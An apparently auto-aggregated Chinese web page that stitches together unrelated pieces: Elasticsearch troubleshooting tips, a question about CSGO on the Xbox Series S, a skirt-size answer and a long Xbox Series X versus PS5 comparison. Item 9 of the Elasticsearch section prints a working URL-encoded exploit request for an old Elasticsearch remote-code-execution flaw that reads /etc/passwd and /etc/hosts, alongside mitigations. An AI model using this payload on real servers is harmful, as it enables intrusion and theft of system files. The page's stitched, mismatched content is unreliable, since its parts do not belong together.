本文目录一览:
elasticsearch 为什么副本数多了 性能反而下降了
1.由gc引起节点脱离集群
因为gc时会使jvm停止工作,如果某个节点gc时间过长,master ping3次(zen discovery默认ping失败重试3次)不通后就会把该节点剔除出集群,从而导致索引进行重新分配。
解决方法:
(1)优化gc,减少gc时间。(2)调大zen discovery的重试次数(es参数:ping_retries)和超时时间(es参数:ping_timeout)。后来发现根本原因是有个节点的系统所在硬盘满了。导致系统性能下降。
2.out of memory错误
因为默认情况下es对字段数据缓存(Field Data Cache)大小是无限制的,查询时会把字段值放到内存,特别是facet查询,对内存要求非常高,它会把结果都放在内存,然后进行排序等操作,一直使用内存,直到内存用完,当内存不够用时就有可能出现out of memory错误。
解决方法:
(1)设置es的缓存类型为Soft Reference,它的主要特点是据有较强的引用功能。只有当内存不够的时候,才进行回收这类内存,因此在内存足够的时候,它们通常不被回收。另外,这些引 用对象还能保证在Java抛出OutOfMemory 异常之前,被设置为null。它可以用于实现一些常用图片的缓存,实现Cache的功能,保证最大限度的使用内存而不引起OutOfMemory。在es的配置文件加上index.cache.field.type: soft即可。
(2)设置es最大缓存数据条数和缓存失效时间,通过设置index.cache.field.max_size: 50000来把缓存field的最大值设置为50000,设置index.cache.field.expire: 10m把过期时间设置成10分钟。
3.无法创建本地线程问题
es恢复时报错: RecoverFilesRecoveryException[[index][3] Failed to transfer [215] files with total size of [9.4gb]]; nested: OutOfMemoryError[unable to create new native thread]; ]]
刚开始以为是文件句柄数限制,但想到之前报的是too many open file这个错误,并且也把数据改大了。查资料得知一个进程的jvm进程的最大线程数为:虚拟内存/(堆栈大小*1024*1024),也就是说虚拟内存越大或堆栈越小,能创建的线程越多。重新设置后还是会报那这错,按理说可创建线程数完全够用了的,就想是不是系统的一些限制。后来在网上找到说是max user processes的问题,这个值默认是1024,这个参数单看名字是用户最大打开的进程数,但看官方说明,就是用户最多可创建线程数,因为一个进程最少有一个线程,所以间接影响到最大进程数。调大这个参数后就没有报这个错了。
解决方法:
(1)增大jvm的heap内存或降低xss堆栈大小(默认的是512K)。
(2)打开/etc/security/limits.conf ,把soft nproc 1024这行的1024改大就行了。
4.集群状态为黄色时并发插入数据报错
[7]: index [index], type [index], id [1569133], message [UnavailableShardsException[[index][1] [4] shardIt, [2] active : Timeout waiting for [1m], request: org.elasticsearch.action.bulk.BulkShardRequest@5989fa07]]
这是错误信息,当时集群状态为黄色,即副本没有分配。当时副本设置为2,只有一个节点,当你设置的副本大于可分配的机器时,此时如果你插入数据就有可能报上面的错,因为es的写一致性默认是使用quorum,即quorum值必须大于(副本数/2+1),我这里2/2+1=2也就是说要要至少插入到两份索引中,由于只有一个节点,quorum等于1,所以只插入到主索引,副本找不到从而报上面那个错。
解决方法:(1)去掉没分配的副本。(2)把写一致性改成one,即只写入一份索引就行。
5.设置jvm锁住内存时启动警告
当设置bootstrap.mlockall: true时,启动es报警告Unknown mlockall error 0,因为linux系统默认能让进程锁住的内存为45k。
解决方法:设置为无限制,linux命令:ulimit -l unlimited
6.错误使用api导致集群卡死
其实这个是很低级的错误。功能就是更新一些数据,可能会对一些数据进行删除,但删除时同事使用了deleteByQuery这个接口,通过构造BoolQuery把要删除数据的id传进去,查出这些数据删除。但问题是BoolQuery最多只支持1024个条件,100个条件都已经很多了,所以这样的查询一下子就把es集群卡死了。
解决方法:用bulkRequest进行批量删除操作。
7.org.elasticsearch.transport.RemoteTransportException: Failed to deserialize exception response from stream
原因:es节点之间的JDK版本不一样
解决方法:统一JDK环境
8 . org.elasticsearch.client.transport.NoNodeAvailableException: No node available
1) 端口错
client = new TransportClient().addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));
这里9300 写成9200的话会No node available
要是你连的不是本机,注意IP有没有正确
2 )jar报引用版本不匹配,开启的服务是什么版本,引用的jar最好匹配(这个我没有去试,反正我的是匹配的)
3) 要是你改了集群名字,还有设置集群名字
Settings settings = ImmutableSettings.settingsBuilder().put("cluster.name", "xxx").build();
client = new TransportClient(settings).addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));
4)集群超过5s没有响应
解决方法1.设置client.transport.ping_timeout设大
2.代码内加入while (true) {
try {
bulk.execute().actionGet(getRetryTimeout());
break;
}
catch (NoNodeAvailableException cont) {
Thread.sleep(5000);
continue;
}
}
9.elasticsearch 近日被发现漏洞,可以远程执行任意代码,由于 elasticsearch提供了http接口,导致可能通过CSRF等方式借助恶意页面浏览发生攻击。
漏洞影响版本:
elasticsearch 1.2以下
测试代码:
http:// ESSERVERIP:9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7Dcallback=jQuery111102863897154977554_1400571156308_=1400571156309
浏览器会返回/etc/passwd内容
解决方案:
1、在配置文件elasticsearch.yml里设置script.disable_dynamic: true
2、严格限制可访问elasticsearch服务的IP地址
参考:
重启后报503错误
详情如此下:
[2014-09-23 17:42:33,499][WARN ][transport.netty ] [Erik Magnus Lehnsherr] Message not fully read (request) for [4961353] and
action [discovery/zen/join/validate], resetting
[2014-09-23 17:42:33,522][INFO ][discovery.zen ] [Erik Magnus Lehnsherr] failed to send join request to master [[Red Lotus][
UG2WbJpDTHOB-EjzJFRsow][n025.corp.ncfgroup.com][inet[/10.18.6.25:9300]]], reason [org.elasticsearch.transport.RemoteTransportException:
[Red Lotus][inet[/10.18.6.25:9300]][discovery/zen/join]; org.elasticsearch.transport.RemoteTransportException: [Erik Magnus Lehnsherr]
[inet[/10.18.6.90:9300]][discovery/zen/join/validate]; org.elasticsearch.ElasticsearchIllegalArgumentException: No custom index metadat
a factory registered for type [rivers]]
问题原因:都采用默认集群名字的话,不同人不同I配置发到集群会进行连接并选Master,有时候可能因为IP限制连接不上。
更改:自己的测试服务尽量个性命名
xss可以玩csgo吗
不可以。
csgo没上架主机平台,只能在PC端上玩。XSS全称微软XboxSeriesS,是微软于2020年11月10日发售的游戏主机,售价为299美元,同天发售上市的还有XboxSeriesX主机,售价为499美元。
XSS与XSX相比配置有所降低,并且无光驱,但S和X一样支持硬件加速光线追踪和可变速率着色等技术。
关于淑女屋牛仔裙尺码问题
穿阿依莲的百褶裙是155的,那么你穿淑女屋短裙150的比较合适,我也是穿阿依莲155的裙子,淑女屋155没法穿
求问能来有Xbox 本世代与次世代实机对比?
微软的次世代主机Xbox Series X已经于今日正式发售,而索尼的PlayStation 5也将在两天后,11月12日发售,新一轮主机大战的硝烟已经逐渐弥漫。
和7年前PS4和Xbox One发售时不同,如今两家都从单一机型的销售策略,转变向分别推出不同硬件配置的机型来满足不同消费者的需求。面对499、399、299美元,光驱版、数字版等一系列不同的主机型号,相信不少新玩家已经有些犯难了。
加上索尼微软各自在游戏阵容、平台服务、旧平台兼容、运营政策上又有不少区别,因此本世代两代主机的购买也就多了几分选择困难。所以这次我们将从硬件、游戏阵容、会员服务、以及购买推荐这几个方面进行分析。相信不管新老玩家看完都能有更进一步的认识。
谁是地表最强次世代主机?
选硬件当然第一时间看性能。尽管在硬件配置阶段,微软与索尼两家明显在着力点上存在着不同,但从总体性能上来看,目前微软的旗舰机型XSX更胜PS5一筹,是当之无愧的最强性能次世代主机。
CPU方面,虽然双方均采用了8核心AMD Zen 2 CPU架构,纸面性能与去年上市的锐龙3700x相仿,但XSX最高3.8GHz的运算频率略优于PS5的3.5GHz,差距不算太大。
而在GPU方面,Xbox Series是目前唯一支持RDNA 2架构完整特性的次世代主机
尽管GPU的提供商AMD此前已经承认两台同样都采用了RDNA 2.0架构GPU,但在定制层面存在着比较大的差距。10月底AMD公开RDNA 2架构显卡产品时,微软也随即宣布Xbox Series X/S是唯一完整支持RDNA 2特性的主机,包括DXR光线追踪、网格着色器、取样反馈和可变速率着色。
换言之,索尼PS5采用的GPU并不能完整支持以上这些特性,这也是此前索尼一直宣称其GPU为“基于RDNA 2架构”的原因。目前可以肯定的是,PS5将不支持网格着色器,取而代之的是AMD在上一代RDNA架构中公布的Primitive Shader定制化后的“几何引擎”(Geometry Engine)。
当然,如果你对以上这些特性不甚了解,简单的纸面示例还是能说明基本问题的——XSX拥有每秒高达12TFlops的单精度浮点运算力与52个控制单元,PS5则只有10.3TFlops与36个控制单元。
分辨率:8K时代真的来临了吗?
此外,两家均宣称支持4K甚至8K分辨率,以及最高120帧的画面,但实机效果因游戏而异,目前已经发售的XSX经过测试,向下兼容的《只狼:影逝二度》、《巫师3》等本世代游戏都可以在4K分辨率下达到60帧左右的流畅水平,当然具体的测试还得到拿到机器之后再给出。而PS5的8K分辨率支持则需要之后通过系统更新获取。
由于光线追踪需要消耗大量的机能,大多数游戏在次世代主机上为了兼容分辨率和光追效果,都会选择牺牲帧数。以《鬼泣5 特别版》为例,在开启光线追踪的情况下,两台主机都只能在4K分辨率下维持30帧,或是在1080P分辨率下保持60帧;而如果关闭光追,则可以在4K分辨率下跑到60帧或120帧。
由此我们可以看出,目前的次世代主机还不能够自如地将光线追踪、4K或8K高分辨率、高帧数三个诉求全部兼容,受制于成本和售价,玩家还是要在其中做取舍——毕竟最贵的XSX和PS5,官方售价也只有499美元,和高性能PC相比还是便宜不少的。
存储:索尼的SSD真的是黑科技吗?
数据存储方面,此次两家皆升级至16GB GDDR6高速内存。不过XSX的内存有着320-bit 位宽与最高560GB/s的非对称带宽。PS5的内存则采用256-bit位宽与448GB/s的带宽。
面对硬盘这个读写速度的短板,次世代两家同时抛弃了慢速的机械硬盘,全面改用吞吐速度更快的固态硬盘。而这部分,两家又有着较大的差距,索尼自宣发时期就着重强调PS5的固态硬盘性能。
XSX内置1TB容量的定制SSD,可用容量为802GB,非压缩传输速率达到2.4GB/s。配合微软的黑科技Quick Resume功能,允许玩家不中断当前游戏并保留当前游戏状态的前提下,快速打开其他游戏游玩,并可以在数款游戏之间快速切换。经过测试,XSX可以轻松地在10秒内从《无主之地3》切换到《我的世界:地下城》。当然,这个数据受不同游戏影响也会产生浮动,不过仍然是一个非常强大的功能。
需要注意的是,XSX并没有提供比较大众的扩容接口,玩家可以购买微软官方的1TB扩容卡来增加主机的容量,不过这款微软与希捷合作定制的1TB扩容卡售价高达220美元,价格不菲。
PS5定制SSD有着极其惊人的5.5GB/s非压缩速率,是XSX的两倍以上,大大加速了游戏载入读取的时间。相比起PS4上《黑魂3》死一次就要等个10几20秒,未来玩家在游玩《恶魔之魂 重制版》时可以在死亡后立刻重来,真是可喜可贺(?)。
不过PS5硬盘的高速率也是有代价的,其容量仅有825GB,可用容量仅665GB。除去系统占用,预期实机可用容量还会更少。同时这块定制SSD是焊接在主板上,难以拆换,这对于机器的良品率与售后维修提出了更高的要求。不过索尼也单独提供了PCIe 4.0规格的M.2 接口,方便玩家自行购置SSD扩充容量,不过必须满足PS5的最低性能水平。
此前Gamespot针对两台次世代主机内置SSD的载入速度进行了测试,有些诧异的是尽管PS5有大吞吐量SSD的加持,加载速度上整体还是稍逊于XSX。由于测试的是本世代游戏而非次世代游戏,此前索尼也曾表示第一方的次世代游戏将针对这块SSD进行专门优化,期待后续的表现。
这里还是列出Gamespot经过测试的本世代游戏载入速度:
《荒野大镖客2》
PS5 1:04
XSX 1:02
《最终幻想15》
PS5 1:10
XSX 0:43
《命运2》
PS5 1:37
XSX 1:12
《怪物猎人世界》
PS5 0:51
XSX 0:29
《蝙蝠侠:阿卡姆骑士》
PS5 1:07:27
XSX 58:48
相比本世代主机,双方在载入速度上的提升都已经非常明显了,无论选择哪一台主机,玩家的体验都将得到大幅度的改善,再也不需要长时间坐在显示器前等待读盘,也不需要那些连通关卡场景的长隧道来争取素材加载的时间了。
散热:截然不同的解决方案
强悍的机能势必伴随着散热的问题,XSX这边采用结构紧凑的垂直风道散热设计,外观小巧的同时可以任意竖放或侧放。相比之下,PS5安装了导热性优异的液态金属,但遇到品控不好的机器则有漏液报废的可能。此外,PS5的热管散热片占用了大量空间,导致整机体积达到PS4 pro 的两倍,XSX的1.5倍之大。尽管体积庞大,造型一言难尽,但PS5的侧板可自由拆卸,未来想必会有一堆魔改自制外壳,让主机看起来养眼一些。而且PS5还有个非常有趣的设计,那就是专门提供了一个集尘口方便玩家用吸尘器进行日常清灰,可以降低主机长期使用后造成的灰尘累积。
我相信不少朋友都体验过自己的PS4或是PS4 PRO在运行本世代末游戏时那恐怖的风扇噪音,有一点可以肯定的是,两台次世代主机都会更加安静。根据数毛社Digital Foundry的测试,XSX运行时相当安静,甚至不需要使用噪音表单独测试,而散热温度方面,运行《战争机器5》时机器表面温度为48-49度,表现良好。
版本:按需选择
值得一提的是,与XSX同步发售的,还有微软的轻量级次世代主机:Xbox series S,相比起XSX,XSS最大的特点就是体积小,无光驱,板载硬盘缩减至512G,显卡浮点算力为XSX的1/3,主打2k分辨率和高帧数,更适合不追求高分辨率的玩家购买。根据游戏的优化和规模不同,XSS也能够在一些游戏中开启光线追踪,比如XSS运行《看门狗:军团》时就是支持光追的,而运行《鬼泣5 特别版》时则不行。这方面还是以具体游戏为准。
而索尼的PS5也分为带蓝光光驱的标准版和无光驱的数字版,不过不像XSX和XSS存在性能上的差异,PS5的数字版和标准版主要在于光驱的有无,以及外观、重量上的不同。当然,如果选购数字版,那么今后就只能选择数字版游戏,也就无缘国内比较流行的实体盘二手回收了,还请留意。
游戏阵容:独占策略与订阅制的两极
说完硬件,再来看主机最核心的驱动力,游戏阵容。
目前索尼与微软都已经公布了各自的首发游戏,同时也阐明了玩家最关心的上世代游戏过度的问题
独占
在主打的独占游戏方面。索尼以魂系列玩家魂牵梦绕的《恶魔之魂 重制版》打头阵,再加上《漫威蜘蛛侠:迈尔斯·莫拉莱斯》、《麻布仔大冒险》、《太空人的娱乐室(Astro's Playroom)》这几款游戏作为PS5年内首发独占游戏,原定首发独占的《毁灭全明星》则延期至2021年。
这之外还有《Returnal》、《GT赛车7》、《战神:诸神黄昏》、《地平线2:西部禁域》这几款独占游戏仍在开发中,暂时未公布发售日。同时贝塞斯达旗下的《死亡循环》、《幽灵线:东京》发售后也将在PS5上限时独占一段时间。
相较于索尼坚定的独占打法,微软近几年主推“play anywhere”的则是多平台互通策略。Xbox老大Phil Spencer曾强调过,微软的目标是,玩家买的游戏不只能在Xbox Series X、Windows 10 PC上玩,甚至随着xCloud的兴起,还可以延伸到移动设备上。
这也就意味着Xbox的独占游戏同时也会登录PC,包括为新主机保驾护航的《光环:无限》(虽然延期了),《脑航员2》、《神鬼寓言》新作、《极限竞速》新作、《腐烂国度3》、黑曜石新作《Avowed》和《暮色降临(As Dusk Falls)》等等游戏,都会一同登陆PC。
不过由于今年9月微软收购了贝塞斯达的母公司ZeniMax Media及其旗下工作室,未来如《上古卷轴》、《辐射》、《毁灭战士》等贝塞斯达和旗下工作室制作的游戏很有可能在Xbox和Windows PC平台独占或是限时独占,对于索尼的独占策略来说也是很大的冲击。具体还要看微软的策略。
向下兼容
除了独占游戏外,两家主机均兼容了旧世代游戏。微软的XSX将会延续之前XBOX ONE向下兼容的政策,即兼容XBOX 360、XBOX初代游戏的同时提供更强的画质升级。这等于玩家只需购买一台主机就能坐拥四代同堂的海量游戏阵容。对于经常想要怀旧的玩家而言,XSX这一卖点非常值得去投入。
PS5则兼容99%的PS4游戏,并且同样基于更高的硬件配置提供更高的画质体验。
订阅服务:微软的XGP更香
最后,在订阅制服务这块,微软与索尼有着决定性的差距。
微软的Xbox Game Pass订阅服务价格实惠,新玩家仅需10港币(1美元)就能尝鲜一个月。正常购买一年的费用大约等于一到两款3A的价格,即可以享受库内上百款新旧精选游戏。不仅每月会有新游戏加入XGP,部分微软独占游戏与第三方游戏首发即纳入其中。此外,拥有XGP还将获得买游戏享8折,DLC9折的优惠。
Xgp已经包含了EA play,容纳更多游戏
不仅如此,微软最近大手笔收购贝塞斯达后,确认会将贝塞斯达旗下游戏加入到XGP。未来像《上古卷轴6》、《星空》、《辐射》新作这类B社重磅作品,都可以在XGP订阅服务中以低廉的价格享受到,而无需花费六七十美元去单独购买。
索尼这边则升级了一贯以来的PlayStation Plus会员,提供名为PlayStation Plus Collection免费游戏服务。只要付费成为 PS Plus 会员,不需要另外再付出额外费用,就可以在PS5主机上免费畅玩其中所包含的经典PS4游戏。
目前已经在PlayStation Plus Collection列表中的游戏如下
第一方:
《血源诅咒》
《往日不再》
《底特律:变人》
《战神》
《声名狼藉:次子》
《瑞奇与叮当》
《最后的守护者》
《最后生还者 重制版》
《直到黎明》
《神秘海域4:盗贼末路》
第三方:
《蝙蝠侠:阿卡姆骑士》
《战地1》
《使命召唤:黑色行动3 僵尸历代记版》
《古惑狼 疯狂三部曲》
《辐射4》
《最终幻想15 皇家版》
《怪物猎人:世界》
《真人快打10》
《女神异闻录5》
《生化危机7》
大前提:如何买到机器
说了这么多,可能大家都在面临一个比较大的问题,买不到,或者说买不起。
参考上一世代主机首发大幅溢价,一机难求的状况,尽管我们已经做好了新机首发价格炒上天的准备,但是实际情况还是非常夸张。
PS5在某宝价格被炒到将近一万元
热度低一些的XSX价格也达到了六千左右
特别是目前两家的国行机还未有消息,在主流的电商渠道通常很难以平价购入新世代主机。加上目前疫情期间肉身出国购买确实麻烦,如果不是有购机刚需的朋友,还是建议根据自身实际情况观望一阵。
考虑到微软近年开始力推XBOX主机与Windows 10 PC互通政策,XGP订阅服务也在逐渐覆盖Windows 10 PC端,未来将会有更多微软旗下的游戏加入到Windows 10商店中。
如果你手头拥有高配电脑,可以考虑购买PC端的XGP服务使用,待主机价格稳定后再出手。
而现今PS4主机全球普及率较高,未来一段时间内出的新游戏想必也不会缺席PS4平台。若是手持PS4想要换机的朋友,同样可以稍微等等,选购《刺客信条:英灵殿》这种可以免费升级到下世代版本的游戏先玩着,等待PS5价格冷却下来之后再购买也不迟。